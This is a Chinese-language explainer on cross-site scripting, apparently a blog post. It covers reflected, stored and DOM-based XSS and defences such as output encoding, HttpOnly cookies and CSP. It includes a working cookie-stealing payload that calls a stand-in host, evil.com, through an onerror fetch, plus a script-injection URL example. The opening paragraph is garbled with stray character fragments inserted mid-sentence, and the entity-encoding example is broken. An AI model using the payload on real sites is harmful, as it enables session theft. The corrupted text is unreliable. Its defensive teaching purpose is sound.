有人在论坛里发了个帖子，什跨标题是站脚“这个视频太搞笑了”，正文里嵌了一段JavaScript。本攻你点进去，什跨页面正常加载，站脚视频正常播放，本攻但你不知道的什跨是，那段脚本已经悄悄读取了你浏览器里的站脚cookie，发到了攻击者控制的本攻服务器上。你的什跨登录凭证就这么没了。这就是站脚跨站脚本攻击，简称XSS。本攻

它的什跨核心逻辑不复杂：网站把用户输入的内容直接当成页面的一部分输出，浏览器分不清哪些是站脚开发者写的代码，哪些是本攻攻击者塞进来的代码，一律执行。浏览器对网页里的JavaScript天生信任，只要它出现在HTML里，浏览器就跑它。XSS利用的就是这种信任。

常见的XSS分三类。反射型是最直接的一种——你收到一条链接，点进去，恶意脚本作为URL参数被服务器“反射”回页面。比如某个搜索页面把搜索词直接显示在结果上方，URL里写 ?q=<script>alert(1)</script>，页面就把这段脚本原样输出，浏览器执行。存储型更麻烦，恶意代码被存进了数据库，每个访问该页面的用户都会中招。典型的场景是评论区：攻击者提交一条带脚本的评论，服务器存下来，之后所有看到这条评论的人都会执行那段代码。还有DOM型，整个攻击过程发生在浏览器端，服务器甚至不知道发生了什么——前端JS从URL里取数据，直接塞进innerHTML，脚本就跑了。

我见过一个真实案例。某小型电商站的商品搜索框没有做输出编码，搜索“<img src=x onerror=fetch('//evil.com/'+document.cookie)>”，页面直接把这段HTML渲染出来，图片加载失败触发onerror，cookie就被偷走了。攻击者拿到session ID，登录受害者账号，收货地址改成自己的，下单，走人。整个过程受害者毫无感知。

防御XSS的关键在于“不信任任何用户输入”。输出到HTML时做实体编码，把 < 变成 <，> 变成 >，浏览器就不会把它当标签解析。不同上下文要不同处理——输出到HTML属性里、JS变量里、CSS里，编码规则都不一样。Cookie加上HttpOnly标记，JS就读不到，能挡住最直接的凭证窃取。Content-Security-Policy响应头限制脚本来源，也能大幅压缩攻击面。

说句实在话，XSS能流行二十多年，不是因为技术多高深，而是因为开发者总心存侥幸——“用户输入我会过滤的”“这个参数不重要”。但攻击者只需要一个入口。一个参数没处理好，整站用户都暴露。我个人的判断是：与其事后修补，不如在模板层强制默认转义，让开发者主动选择“不转义”而不是反过来。默认安全，比提醒一万遍“记得过滤”有用得多。